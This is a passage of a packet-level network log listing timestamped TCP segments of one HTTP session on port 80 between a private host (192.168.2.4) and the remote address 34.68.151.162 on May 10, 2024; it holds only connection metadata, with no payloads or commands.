May 10, 2024 09:20:58.510224104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510236979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510247946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510248899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510263920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510276079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510287046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510298967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510310888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510323048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510334015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510341883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510345936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510360003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510363102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510371923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510380030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510384083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510395050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510406971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510415077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510420084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510432005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510449886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510457039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510457039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510462999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510476112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510479927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510488987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510500908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510507107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510513067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510524988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510535002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510541916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510549068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510561943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510572910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510575056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510585070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510595083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510597944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510607004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510612011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510624886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510634899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510637045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510649920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510658026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510662079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510674000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510684013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510689974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510696888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510710001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510716915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510721922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510726929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510735989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510746956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510750055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510760069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510771036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510782003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510792971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510797024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510806084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510818005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510831118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510837078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510843992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510854959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510859013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510867119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510875940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510879040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510890961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510899067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510902882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510915041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510926962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510932922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510938883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510950089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510950089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510963917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510968924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510976076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510987997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510999918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511003017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511010885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511023045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511029005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511035919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511046886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511048079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511058092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511069059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511070013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511084080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511094093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511096954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511109114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511121035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511126995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511133909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511146069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511146069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511157990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511168957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511169910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511183977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511194944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511202097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511205912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511218071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511219025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511230946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511243105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511255026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511266947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511267900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511279106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511291027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511291027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511302948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511307001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511315107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511327028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511337996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511341095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511351109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511353970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511363983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511375904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511387110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511395931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511399984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511414051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511416912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511425972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511434078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511437893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511450052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511456013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511461020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511472940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511481047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511486053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511497974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511511087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511522055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511523962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511534929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511547089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511547089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511559963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511565924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511573076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511580944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511584997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511598110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511605978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511610031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511621952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511630058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511635065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511646986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511658907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511662960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511672974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511678934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511686087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511698961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511706114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511710882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511729002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511739969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511745930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511754036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511759996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511766911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511779070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511786938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511790991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511805058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511816978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511826038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511828899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511842966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511852026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511856079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511867046 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511868000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511881113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511889935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511893988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511905909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511913061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511918068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511929989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511940956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511945009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511953115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511965990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511970997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511977911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.511989117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.511991024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512003899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512016058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512021065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512028933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512037992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512042046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512053967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512068033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512075901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512080908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512094021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512098074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512110949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512120008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512123108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512135029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512144089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512146950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512159109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512171030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512176037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512183905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512196064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512203932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512207985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512217999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512219906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512233019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512243032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512243986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512257099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512268066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512279034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512279987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512290001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512298107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512303114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512314081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512315035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512326956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512339115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512339115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512352943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512362003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512366056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512398005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512406111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512409925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512424946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512430906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512438059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512449980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512461901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512465000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512475014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512485981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512490034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512500048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512511015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512515068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512522936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512531996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512536049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512550116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512562990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512567997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512576103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512588024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512595892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512600899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512613058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512615919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512624979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512634993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512638092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512650013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512658119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512662888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512675047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512684107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512686968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512700081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512712955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512718916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512725115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512737036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512743950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512748003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512754917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512762070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512773991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512780905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512788057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512799025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512804031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512810946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512823105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512835979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512840986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512849092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512861013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512861013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512882948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512885094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512902021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512912989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512924910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512924910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512939930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512944937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512953043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512964964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512976885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.512985945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.512988091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513000011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513009071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513011932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513022900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513026953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513039112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513046980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513051033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513062954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513072014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513076067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513088942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513101101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513107061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513113022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513124943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513130903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513139963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513145924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.513154030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513165951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.513176918 CEST	80	49754	34.68.151.162	192.168.2.4
